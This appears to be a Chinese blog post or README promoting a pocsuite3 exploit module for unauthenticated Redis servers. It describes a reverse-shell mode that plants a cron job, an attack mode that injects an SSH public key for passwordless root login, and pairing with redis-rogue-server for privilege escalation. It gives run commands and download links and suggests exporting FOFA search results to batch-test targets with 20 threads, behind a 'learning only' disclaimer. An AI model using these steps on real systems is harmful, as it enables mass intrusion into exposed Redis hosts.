声明

本脚本只做学习使用,请勿用作非法用途!

简介

结合pocsuite3所学,重写redis漏洞复现。内含PoC模块、attack模块和shell模块。密码爆破功能请继续使用旧版本:redis.py

其中,shell模式下会报错,但是不影响命令写入和反弹shell(反弹sell需要手动监听6666端口–pocsuite默认监听端口)。这里的报错导致脚本本身的监听出错了,只要手动开启监听就可以。

[ERROR] thread MainThread: 'NoneType' object has no attribute 'params'
Traceback (most recent call last):
File "c:\python\python39\lib\site-packages\pocsuite3\lib\core\threads.py", line 47, in run_threads
thread_function(*args)
File "c:\python\python39\lib\site-packages\pocsuite3\lib\controller\controller.py", line 148, in task_run
result = poc_module.execute(target, headers=conf.http_headers, mode=conf.mode, verbose=False)
File "c:\python\python39\lib\site-packages\pocsuite3\lib\core\poc.py", line 229, in execute
output.params = self.params
AttributeError: 'NoneType' object has no attribute 'params'

搜了一下,应该是某个值为空,然后空值被调用了,导致报错。但是我的shell里面没写空值,看报错,也都是系统函数报错的,盲猜可能是不会使用pocsuite3的shell模块导致的。有了解的大佬请留言指正,感谢!


分割线 2021-08-14


修复反弹shell空值报错;优化attack模块,改写脚本为ssh连接

使用须知:

attack模式下:
需要redis-cli客户端命令
安装:
wget http://download.redis.io/redis-stable.tar.gz #下载redis-cli
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/

需要提前在本地生成公钥文件
方法:
1、ssh-keygen -t rsa 生成密钥(管理员权限)
2、(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
3、在公钥目录执行命令,并将key.txt移动到脚本目录
注:windows在用户目录/.ssh下,linux在/root/.ssh/下

分割线 2021-08-19


由于漏洞太老了,实战中虽然存在不少空密码、弱口令,但是几乎全做了权限限制,无法写入公钥、定时任务(这个还收服务器类型限制)。于是增加版本检测功能,搭配 宝er 魔改的redis-rogue-server工具使用,可低权限进入4.x-5.0.5命令执行,然后提权。

使用过程:

1、--verify 验证模式

pocsuite -r _89715_redis_login_bypass.py -u 192.168.21.237 --verify

image-20210814221643832

2、--shell 反弹shell

pocsuite -r _89715_redis_login_bypass.py -u 192.168.21.237 --shell

image-20210814222129814

需要等待反弹shell定时任务生效,约1分钟

image-20210814222420607

list:列出反弹shell列表
use:使用指定反弹shell

3、ssh连接

pocsuite -r _89715_redis_login_bypass.py -u 192.168.21.237 --attack

image-20210814223217104

执行ssh [email protected],成功无密码连接靶机

image-20210814223320023

可搭配fofa搜索,导出目标列表,批量验证。

pocsuite -r _89715_redis_login_bypass.py -f ./test.txt --threads 20 --verify

image-20210814223939569

警告!

shell、attack模式严禁用于非法用途,仅做本地测试及pocsuite编写学习!

下载地址:

旧版(爆破功能)

https://www.zerochen.top/download/Redis/redis.py

新版(pocsuite3模块)

https://www.zerochen.top/download/Redis/89715_redis_login_bypass.py

https://www.zerochen.top/download/Redis/89715_redis_login_bypass.py